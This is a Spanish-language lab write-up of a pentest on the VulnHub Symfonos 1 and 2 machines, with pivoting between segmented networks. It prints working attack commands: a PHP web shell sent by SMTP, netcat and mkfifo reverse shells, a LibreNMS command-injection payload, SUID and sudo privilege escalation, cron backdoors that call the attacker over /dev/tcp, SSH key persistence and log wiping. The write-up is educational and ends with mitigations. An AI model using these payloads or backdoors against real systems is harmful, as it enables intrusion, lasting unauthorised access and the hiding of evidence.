AVILX

Symfonos — Pivoting a Red Segmentada

Compromiso de infraestructura segmentada mediante técnicas de pivoting

Autor	Jesus Avila (Avilx)
Plataforma	VulnHub — Symfonos 1 + 2
Entorno	VirtualBox · Red segmentada local
Fecha	15 de Abril 2026
Portafolio	avilx.dev

ROOT OBTENIDO LAB · VULNHUB · PIVOTING

Documentación de aprendizaje ofensivo | Entorno de laboratorio autorizado

Introducción

El presente documento detalla el ciclo completo de una prueba de penetración (pentesting) realizada sobre el laboratorio Symfonos, compuesto por dos máquinas virtuales vulnerables desplegadas localmente mediante VirtualBox sobre un sistema Arch Linux.

El objetivo principal fue demostrar la capacidad de comprometer una infraestructura de red segmentada, obteniendo acceso inicial al sistema expuesto (Symfonos 1), escalando privilegios, y utilizando técnicas de pivoting para alcanzar y comprometer el sistema interno (Symfonos 2), inaccesible directamente desde la máquina atacante.

El ejercicio cubre las siguientes fases del ciclo de pentesting: reconocimiento, análisis de vulnerabilidades, explotación, post-explotación, movimiento lateral, persistencia y borrado de evidencias.

Infraestructura y Entorno de Trabajo

Arquitectura del Laboratorio

El laboratorio está compuesto por dos máquinas virtuales vulnerables de la serie Symfonos, desplegadas localmente mediante VirtualBox sobre un sistema Arch Linux. El entorno simula una infraestructura corporativa segmentada donde el acceso a la red interna solo es posible a través del pivoting desde el sistema comprometido inicialmente.

Inventario de máquinas del laboratorio
Máquina	SO	Red	Rol
Symfonos 1	Linux (Debian)	192.168.20.101	Objetivo principal / Pivote
Symfonos 2	Linux (Debian)	192.168.30.4	Objetivo interno
Arch Linux	Arch Linux	192.168.20.1	Máquina atacante

Configuración de Seguridad Perimetral

A diferencia de entornos cloud, el laboratorio fue desplegado en una red local aislada mediante adaptadores Host-Only de VirtualBox, garantizando que el tráfico generado durante las pruebas no salga a internet ni afecte otras redes. Las máquinas virtuales no tienen acceso a internet ni a la red física del host, operando únicamente dentro de los segmentos virtuales definidos.

Plataforma de Despliegue

El laboratorio fue desplegado utilizando VirtualBox como plataforma de virtualización sobre un sistema Arch Linux. Esta elección permite simular un entorno segmentado accesible únicamente desde la máquina atacante local.

OS: Arch Linux
Virtualización: VirtualBox
Máquinas virtuales: Symfonos 1, Symfonos 2

Configuración de Segmentación de Red

Segmentación de Red

Se crearon dos redes virtuales de tipo Host-Only en VirtualBox para segmentar el laboratorio:

vboxnet0 (192.168.20.0/24): Red pública accesible desde la máquina atacante. Contiene únicamente a Symfonos 1.
vboxnet1 (192.168.30.0/24): Red privada interna. Solo accesible mediante pivoting desde Symfonos 1. Contiene a Symfonos 2.

Symfonos 1 actúa como host dual-homed al estar conectado simultáneamente a ambas redes, siendo el único punto de entrada hacia la red interna.

Verificación del Despliegue

Se verificó que ambas máquinas virtuales estuvieran activas en VirtualBox y correctamente configuradas en sus respectivas redes:

Se verificó la configuración de las interfaces de red virtuales en la máquina atacante:

Verificación de Alcance y Segmentación de Red

Se realizaron pruebas de conectividad para validar la correcta segmentación del laboratorio.

Descubrimiento de Hosts en Red Pública

Verificación de Inaccesibilidad de Red Privada

La red privada 192.168.30.0/24 no es accesible directamente desde la máquina atacante, confirmándose que el pivoting a través de Symfonos 1 es el único camino hacia Symfonos 2.

Acceso a Red Pública

        $ nmap -sn 192.168.20.0/24
        192.168.20.1    -> Arch Linux (atacante)
        192.168.20.101  -> Symfonos 1 (objetivo)

Intento de Acceso a Red Privada

        $ nmap -sn 192.168.30.0/24
        0 hosts up

La red privada 192.168.30.0/24 no es accesible directamente desde la máquina atacante, confirmándose que el pivoting a través de Symfonos 1 es el único camino hacia Symfonos 2.

Fase de Reconocimiento

Descubrimiento de Puertos

Se realizó un escaneo de puertos TCP sobre el host objetivo 192.168.20.101 mediante nmap para identificar los servicios activos y determinar la superficie de ataque disponible.

        PORT    STATE SERVICE
        22/tcp  open  ssh
        25/tcp  open  smtp
        80/tcp  open  http
        139/tcp open  netbios-ssn
        445/tcp open  microsoft-ds

Se identificaron cinco puertos abiertos correspondientes a los servicios SSH, SMTP, HTTP y SMB.

Identificación de Servicios y Versiones

Se ejecutó un escaneo con detección de versiones y scripts por defecto:

        22/tcp  OpenSSH 7.4p1 Debian 10+deb9u6
        25/tcp  Postfix smtpd
        80/tcp  Apache httpd 2.4.25 (Debian)
        139/tcp Samba smbd 3.X - 4.X
        445/tcp Samba smbd 4.5.16-Debian
        OS:     Linux (Debian)
        Host:   symfonos.localdomain

Enumeración de Servicios

Con base en los servicios identificados se priorizaron los vectores de ataque. Se seleccionó SMB como primer objetivo de enumeración por las siguientes razones:

SMB frecuentemente expone recursos compartidos con información sensible sin requerir autenticación.
La versión Samba 4.5.16 es relativamente antigua y puede contener misconfiguraciones.
El acceso guest estaba habilitado según el escaneo de nmap`.
HTTP y SSH requieren credenciales válidas que aún no se tenían.

Enumeración SMB

Se listaron los recursos compartidos disponibles sin autenticación:

        Sharename    Type    Comment
        ---------    ----    -------
        print$       Disk    Printer Drivers
        helios       Disk    Helios personal share
        anonymous    Disk
        IPC$         IPC     IPC Service

Se identificaron dos recursos de interés: anonymous(acceso sin credenciales) yhelios` (share personal).

Se accedió al share anonymous sin credenciales y se descargó el archivo attention.txt:

        Can users please stop using passwords like
        'epidioko', 'qwerty' and 'baseball'!
        -Zeus

El archivo reveló tres contraseñas candidatas y el usuario Zeus, almacenadas en texto plano en un recurso de acceso público.

Utilizando las credenciales obtenidas se intentó acceder al share helios. La contraseña qwerty resultó válida para el usuario helios:

        todo.txt:
        1. Binge watch Dexter
        2. Dance
        3. Work on /h3l105

El archivo todo.txtreveló la ruta/h3l105` correspondiente a un recurso web no publicado en el servidor HTTP.

Fase de Análisis de Vulnerabilidades

Identificación de Tecnologías Web

Al acceder a la ruta /h3l105 descubierta se identificó un sitio WordPress 5.2.2:

Enumeración WordPress con WPScan

Se ejecutó WPScan para enumerar usuarios, plugins y vulnerabilidades del sitio:

WPScan identificó los siguientes hallazgos críticos:

WordPress 5.2.2 — versión insegura liberada el 18 de junio de 2019
Usuario: admin`
XML-RPC habilitado — permite ataques de fuerza bruta
Plugin mail-masta 1.0 — vulnerable a LFI
Plugin site-editor 1.1.1 — vulnerable a LFI

Identificación de Vulnerabilidades

Local File Inclusion en mail-masta

Se verificó la vulnerabilidad LFI en el plugin mail-masta 1.0 mediante searchsploit:

La vulnerabilidad reside en la función include($_GET[’pl’])sin validación de entrada en el archivo/inc/campaign/count_of_send.php`, permitiendo la inclusión de archivos arbitrarios del servidor.

Confirmación del LFI

Se confirmó la vulnerabilidad leyendo el archivo /etc/passwd:

        curl 'http://symfonos.local/h3l105/wp-content/plugins/
        mail-masta/inc/campaign/count_of_send.php?
        pl=/etc/passwd'
        
        root:x:0:0:root:/root:/bin/bash
        helios:x:1000:1000:,,,:/home/helios:/bin/bash

Vector de Ataque Seleccionado

Con base en los hallazgos se seleccionó como vector de ataque la combinación de SMTP Log Poisoning con Local File Inclusion:

Inyectar código PHP malicioso en el buzón de correo de helios` via SMTP
Ejecutar el código inyectado mediante el LFI apuntando a /var/mail/helios
Obtener ejecución remota de comandos como usuario helios

Fase de Explotación — `Symfonos 1` (192.168.20.101)

Acceso Inicial

Con base en las vulnerabilidades identificadas, se explotó la combinación de SMTP Log Poisoning y Local File Inclusion para obtener ejecución remota de comandos en el sistema.

Inyección del Payload PHP via SMTP

Se estableció una conexión al servidor SMTP en el puerto 25 y se envió un correo al usuario helios con un payload PHP:

        nc 192.168.20.101 25
        EHLO test
        MAIL FROM: <[email protected]>
        RCPT TO: <helios>
        DATA
        Subject: test
        
        <?php system($_GET['cmd']); ?>
        
        .
        QUIT
        250 2.0.0 Ok: queued as 2299A406B7

Ejecución Remota de Comandos

Con el payload almacenado en /var/mail/helios` se explotó el LFI para ejecutar una reverse shell:

        curl 'http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/
        campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc+-e+/bin/bash+
        192.168.20.1+4444'

Estabilización de Sesión

La shell obtenida era inestable. Se estabilizó mediante python3:

        python3 -c 'import pty;pty.spawn("/bin/bash")'
        export TERM=xterm
        export SHELL=bash

Enumeración Interna

Binarios SUID

        $ find / -perm -4000 2>/dev/null
        /opt/statuscheck    <- SUID inusual
        /bin/mount
        /bin/umount
        /bin/su
        /bin/ping
        [...]

El binario /opt/statuscheck` resultó inusual al no pertenecer a ningún paquete estándar.

Análisis del Binario SUID

        $ strings /opt/statuscheck
        curl -I http://localhost

El binario ejecuta curl sin ruta absoluta, lo que lo hace vulnerable a PATH Hijacking.

Escalada de Privilegios

Se explotó el PATH Hijacking en el binario SUID /opt/statuscheck:

        $ echo "/bin/bash -p" > /tmp/curl
        $ chmod +x /tmp/curl
        $ export PATH=/tmp:$PATH
        $ /opt/statuscheck
        bash-4.4# whoami
        root
        bash-4.4# id
        uid=1000(helios) gid=1000(helios) euid=0(root)

Acceso a Información Sensible

Descubrimiento de Hosts en Red Privada

        for i in $(seq 1 254); do
        (ping -c 1 -W 1 192.168.30.$i |
        grep "bytes from" &)
        done
        64 bytes from 192.168.30.4: icmp_seq=1 ttl=64

Se identificó 192.168.30.4comoSymfonos 2`.

Persistencia en `Symfonos 1`

Con el objetivo de mantener acceso persistente al sistema comprometido, se implementaron dos mecanismos de persistencia independientes en Symfonos 1.

Cron Job Malicioso

Se creó un archivo en /etc/cron.d/ con una tarea programada que ejecuta una reverse shell cada minuto hacia la máquina atacante en el puerto 5555:

        echo "* * * * * root /bin/bash -c \
        'bash -i >& /dev/tcp/192.168.20.1/5555 0>&1'" \
        > /etc/cron.d/backdoor
        
        cat /etc/cron.d/backdoor
        * * * * * root /bin/bash -c \
        'bash -i >& /dev/tcp/192.168.20.1/5555 0>&1'

Clave SSH Autorizada

Se instaló la clave pública RSA de la máquina atacante en /root/.ssh/authorized_keys`:

La clave pública fue instalada exitosamente, permitiendo autenticación directa como root` desde la máquina atacante sin necesidad de contraseña, constituyendo el mecanismo de persistencia más sigiloso al no generar tráfico de red adicional.

Fase de Movimiento Lateral (Pivoting)

Configuración del Túnel (Chisel)

Para establecer acceso a la red privada 192.168.30.0/24 se empleó Chisel para crear un túnel SOCKS5 inverso a través del sistema comprometido.

Se transfirió el binario de Chisel v1.7.7 a Symfonos 1 via HTTP y se configuró el túnel:

        # Arch Linux - servidor Chisel
        chisel server -p 9999 --reverse
        
        # Symfonos 1 - cliente Chisel
        /tmp/chisel177 client 192.168.20.1:9999 R:socks

Verificación de Acceso a Red Privada

Con el túnel SOCKS5 activo en el puerto 1080 y proxychains configurado, se verificó el acceso a Symfonos 2:

        proxychains nmap -sT -Pn -sV \
        -p 22,80,139,445 192.168.30.4
        
        22/tcp  OpenSSH 7.4p1 Debian
        80/tcp  WebFS httpd 1.21
        139/tcp Samba smbd 3.X - 4.X
        445/tcp Samba smbd 3.X - 4.X

El acceso a 192.168.30.4 desde la máquina atacante a través del túnel confirmó el pivoting exitoso.

Fase de Explotación — `Symfonos 2` (192.168.30.4)

Reconocimiento Interno

Enumeración SMB

El archivo log.txt` reveló información crítica del sistema:

Usuario aeolus ejecuta el servicio ProFTPD 1.3.5
Existe un backup del shadow en /var/backups/shadow.bak
Share anonymous apunta a /home/aeolus/share

Identificación de Vulnerabilidades

Se identificó que ProFTPD 1.3.5 tiene la vulnerabilidad mod_copy que permite copiar archivos del sistema sin autenticación mediante los comandos SITE CPFR y SITE CPTO.

Esta vulnerabilidad se utilizó para copiar el archivo /var/backups/shadow.bak al share SMB accesible:

        proxychains nc 192.168.30.4 21
        SITE CPFR /var/backups/shadow.bak
        350 File or directory exists
        SITE CPTO /home/aeolus/share/shadow.bak
        250 Copy successful

Acceso Inicial

Obtención y Crackeo de Hashes

Se descargó el archivo shadow.bak via SMB y se extrajeron los hashes de los usuarios:

Se empleó hashcat con el modo 1800` (sha512crypt) para crackear los hashes:

        hashcat -m 1800 hashes.txt \
        /usr/share/wordlists/rockyou.txt

Se obtuvo la contraseña sergioteamopara el usuarioaeolus`.

Acceso SSH a Symfonos 2

        proxychains ssh [email protected]
        # Password: sergioteamo
        
        aeolus@symfonos2:~$ whoami
        aeolus
        aeolus@symfonos2:~$ id
        uid=1000(aeolus) gid=1000(aeolus)

Estabilización de Sesión

La sesión SSH es estable por defecto al usar OpenSSH`. Se verificó el entorno:

        aeolus@symfonos2:~$ export TERM=xterm
        aeolus@symfonos2:~$ export SHELL=bash

Enumeración Interna

        $ sudo -l
        Sorry, user aeolus may not run sudo
        
        $ find / -perm -4000 2>/dev/null
        /usr/sbin/exim4    <- SUID vulnerable
        /usr/bin/sudo
        /usr/bin/passwd
        [...]
        
        $ uname -a
        Linux symfonos2 4.9.0-9-amd64 Debian
        
        $ cat /etc/passwd | grep bash
        root:x:0:0:root:/root:/bin/bash
        aeolus:x:1000:1000::/home/aeolus:/bin/bash
        cronus:x:1001:1001::/home/cronus:/bin/bash

Se identificó /usr/sbin/exim4 con bit SUID como vector de escalada de privilegios.

Escalada de Privilegios

La enumeración de binarios SUID identificó /usr/sbin/exim4 como vector potencial, sin embargo el servicio no corre como root sino como Debian-exim, por lo que el CVE-2019-10149 no fue explotable para escalada directa.

Se identificó un segundo vector a través del servicio LibreNMS corriendo en 127.0.0.1:8080 bajo el usuario cronus.

Acceso a LibreNMS

Se accedió al panel de administración de LibreNMS mediante las credenciales obtenidas anteriormente:

RCE via LibreNMS CVE-2018-20434

Se identificó la vulnerabilidad CVE-2018-20434 en LibreNMS 1.46 que permite inyección de comandos en el campo community al agregar un nuevo dispositivo. El payload se ejecuta cuando se realiza un SNMP walk al dispositivo creado.

Se inyectó el siguiente payload en el campo Community al crear un nuevo dispositivo:

        '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
        2>&1|nc 192.168.30.3 9991 >/tmp/f) #

El payload fue disparado mediante una petición al endpoint ajax_output.php:

        curl -b "laravel_session=..." \
        'http://127.0.0.1:9090/ajax_output.php?
        id=capture&format=text&type=snmpwalk&
        hostname=dummydevice'

        $ id
        uid=1001(cronus) gid=1001(cronus)
        groups=1001(cronus),999(librenms)
        $ whoami
        cronus

Escalada a Root via sudo mysql

La enumeración de permisos sudo reveló que cronuspuede ejecutar/usr/bin/mysqlcomoroot` sin contraseña:

Se explotó mediante la técnica de GTFOBins para MySQL:

        $ sudo mysql -e '\! /bin/sh'
        # whoami
        root
        # id
        uid=0(root) gid=0(root) groups=0(root)

Acceso a Información Sensible

Con privilegios de root se accedió a información crítica del sistema:

Persistencia en Symfonos 2`

Se implementaron dos mecanismos de persistencia en Symfonos 2.

Cron Job Malicioso

        echo "* * * * * root /bin/bash -c \
        'bash -i >& /dev/tcp/192.168.30.3/7777 0>&1'" \
        > /etc/cron.d/backdoor

Clave SSH Autorizada

        mkdir -p /root/.ssh
        chmod 700 /root/.ssh
        echo "ssh-rsa AAAAB3NzaC1yc2E..." \
        >> /root/.ssh/authorized_keys
        chmod 600 /root/.ssh/authorized_keys

La clave pública RSA fue instalada exitosamente, permitiendo autenticación directa como root desde la máquina atacante sin necesidad de contraseña.

Fase de Post-Explotación Avanzada

Borrado de Evidencias — `Symfonos 2`

Con el objetivo de eliminar las trazas dejadas durante el proceso de explotación, se ejecutó un script de limpieza en Symfonos 2 que eliminó logs del sistema, historiales de comandos y archivos temporales:

Se verificó que los logs quedaron vacios inmediatamente después de la limpieza:

Borrado de Evidencias — Symfonos 1`

Se repitió el proceso de limpieza en Symfonos 1:

Conclusiones

Resumen de Vulnerabilidades Encontradas

Durante la ejecución del ejercicio de pentesting sobre el laboratorio Symfonos, se identificaron y explotaron las siguientes vulnerabilidades:

Sistema Vulnerabilidad CVE / Tipo Severidad

Symfonos 1 Credenciales expuestas en share SMB anónimo Information Disclosure Crítica Symfonos 1 Local File Inclusion en plugin mail-masta 1.0 CVE-2016-10956 Alta Symfonos 1 SMTP Log Poisoning → RCE Misconfiguración Alta Symfonos 1 PATH Hijacking en binario SUID /opt/statuscheck SUID Misconfiguración Crítica Symfonos 2 ProFTPD 1.3.5 mod_copy sin autenticación CVE-2015-3306 Crítica Symfonos 2 Hashes de contraseñas en backup accesible Information Disclosure Alta Symfonos 2 Contraseña débil crackeada con diccionario Weak Password Alta Symfonos 2 LibreNMS 1.46 RCE via addhost CVE-2018-20434 Crítica Symfonos 2 Sudo misconfiguración — mysql sin contraseña Sudo Misconfiguración Crítica

Recomendaciones de Mitigación

Symfonos 1

1. Credenciales expuestas en SMB

El archivo attention.txt contenía contraseñas en texto plano en un share de acceso público. Se recomienda:

Eliminar información sensible de recursos compartidos públicos.
Deshabilitar el acceso anónimo a shares SMB mediante map to guest = never en smb.conf.
Implementar una política de gestión de secretos que prohíba almacenar credenciales en texto plano.

2. Local File Inclusion en mail-masta

El plugin mail-masta 1.0 no valida el parámetro pl antes de incluirlo. Se recomienda:

Desinstalar o actualizar el plugin mail-masta a una versión segura.
Implementar validación de entrada mediante listas blancas para parámetros que incluyan archivos.
Deshabilitar allow_url_include en la configuración de PHP.

3. SMTP Log Poisoning

El servidor SMTP permite la entrega de correos con código PHP al usuario helios, que luego es ejecutado via LFI. Se recomienda:

Configurar el servidor SMTP para rechazar correos de remitentes externos no autorizados.
Separar los archivos de log del servidor web de los archivos accesibles por la aplicación.
Deshabilitar la ejecución de PHP en directorios de logs y uploads.

4. PATH Hijacking en binario SUID

El binario /opt/statuscheck ejecuta curl sin especificar la ruta absoluta. Se recomienda:

Usar rutas absolutas para todos los ejecutables en scripts y binarios (/usr/bin/curl en vez de curl).
Revisar y auditar todos los binarios con bit SUID activo.
Eliminar el bit SUID de binarios que no lo requieran estrictamente.

Symfonos 2

5. ProFTPD mod_copy sin autenticación

El módulo mod_copy de ProFTPD 1.3.5 permite copiar archivos del sistema sin autenticación. Se recomienda:

Actualizar ProFTPD a la última versión estable.
Deshabilitar el módulo mod_copy si no es necesario.
Restringir el acceso FTP mediante reglas de firewall para que solo sea accesible desde redes de confianza.

6. Backup de shadow expuesto

El archivo /var/backups/shadow.bak era accesible y fue copiado al share SMB mediante mod_copy. Se recomienda:

Restringir los permisos del directorio /var/backups/ para que solo sea accesible por root.
Cifrar los backups de archivos sensibles.
No almacenar copias del archivo /etc/shadow en ubicaciones accesibles.

7. Contraseña débil

La contraseña sergioteamo del usuario aeolus fue crackeada en minutos con rockyou.txt. Se recomienda:

Implementar una política de contraseñas que exija mínimo 12 caracteres, combinando mayúsculas, minúsculas, números y símbolos.
Usar un gestor de contraseñas para generar y almacenar contraseñas seguras.
Implementar autenticación multifactor donde sea posible.

8. LibreNMS RCE via addhost

El campo community en LibreNMS 1.46 no sanitiza correctamente la entrada del usuario, permitiendo inyección de comandos. Se recomienda:

Actualizar LibreNMS a la última versión estable.
Restringir el acceso al panel de administración de LibreNMS a redes internas de confianza.
Implementar validación y sanitización estricta de todos los campos de entrada.

9. Sudo misconfiguración con mysql

El usuario cronus puede ejecutar mysql como root sin contraseña, lo que permite escalar privilegios mediante GTFOBins. Se recomienda:

Revisar y auditar todas las reglas de sudoers y eliminar permisos innecesarios.
Nunca otorgar permisos sudo sin contraseña (NOPASSWD) a herramientas que permitan ejecución de comandos del sistema.
Consultar GTFOBins (gtfobins.github.io) para verificar si un binario puede ser abusado antes de otorgar permisos sudo.

Lecciones Aprendidas

El ejercicio demostró que la mayoría de las vulnerabilidades identificadas son resultado de configuraciones inseguras y prácticas deficientes de gestión, no de fallos en el software base:

La exposición de información en recursos públicos fue el punto de entrada inicial en ambos sistemas.
Las misconfiguraciones en servicios como SMB, FTP y sudo fueron los vectores de escalada de privilegios más críticos.
La segmentación de red no es suficiente por sí sola si los sistemas internos no están correctamente asegurados.
El uso de contraseñas débiles facilitó el acceso al segundo sistema tras obtener los hashes del backup.

Flags Capturadas

Flags obtenidas durante el ejercicio
Sistema	Archivo	Contenido
Symfonos 1	`/root/proof.txt`	Congrats on rooting symfonos:1!
Symfonos 2	`/root/proof.txt`	Congrats on rooting symfonos:2!

Symfonos — Pivoting a Red Segmentada

Introducción

Infraestructura y Entorno de Trabajo

Arquitectura del Laboratorio

Configuración de Seguridad Perimetral

Plataforma de Despliegue

Configuración de Segmentación de Red

Segmentación de Red

Verificación del Despliegue

Verificación de Alcance y Segmentación de Red

Descubrimiento de Hosts en Red Pública

Verificación de Inaccesibilidad de Red Privada

Acceso a Red Pública

Intento de Acceso a Red Privada

Fase de Reconocimiento

Descubrimiento de Puertos

Identificación de Servicios y Versiones

Enumeración de Servicios

Enumeración SMB

Acceso al Share Anonymous

Acceso al Share Helios

Fase de Análisis de Vulnerabilidades

Identificación de Tecnologías Web

Enumeración WordPress con WPScan

Identificación de Vulnerabilidades

Local File Inclusion en mail-masta

Confirmación del LFI

Vector de Ataque Seleccionado

Fase de Explotación — Symfonos 1 (192.168.20.101)

Acceso Inicial

Inyección del Payload PHP via SMTP

Ejecución Remota de Comandos

Estabilización de Sesión

Enumeración Interna

Binarios SUID

Análisis del Binario SUID

Escalada de Privilegios

Acceso a Información Sensible

Descubrimiento de Hosts en Red Privada

Persistencia en Symfonos 1

Cron Job Malicioso

Clave SSH Autorizada

Fase de Movimiento Lateral (Pivoting)

Configuración del Túnel (Chisel)

Verificación de Acceso a Red Privada

Fase de Explotación — Symfonos 2 (192.168.30.4)

Reconocimiento Interno

Enumeración SMB

Identificación de Vulnerabilidades

Acceso Inicial

Obtención y Crackeo de Hashes

Acceso SSH a Symfonos 2

Estabilización de Sesión

Enumeración Interna

Escalada de Privilegios

Acceso a LibreNMS

RCE via LibreNMS CVE-2018-20434

Escalada a Root via sudo mysql

Acceso a Información Sensible

Persistencia en Symfonos 2`

Cron Job Malicioso

Clave SSH Autorizada

Fase de Post-Explotación Avanzada

Borrado de Evidencias — Symfonos 2

Borrado de Evidencias — Symfonos 1`

Conclusiones

Resumen de Vulnerabilidades Encontradas

Recomendaciones de Mitigación

Symfonos 1

Symfonos 2

Lecciones Aprendidas

Flags Capturadas

Fase de Explotación — `Symfonos 1` (192.168.20.101)

Persistencia en `Symfonos 1`

Fase de Explotación — `Symfonos 2` (192.168.30.4)

Borrado de Evidencias — `Symfonos 2`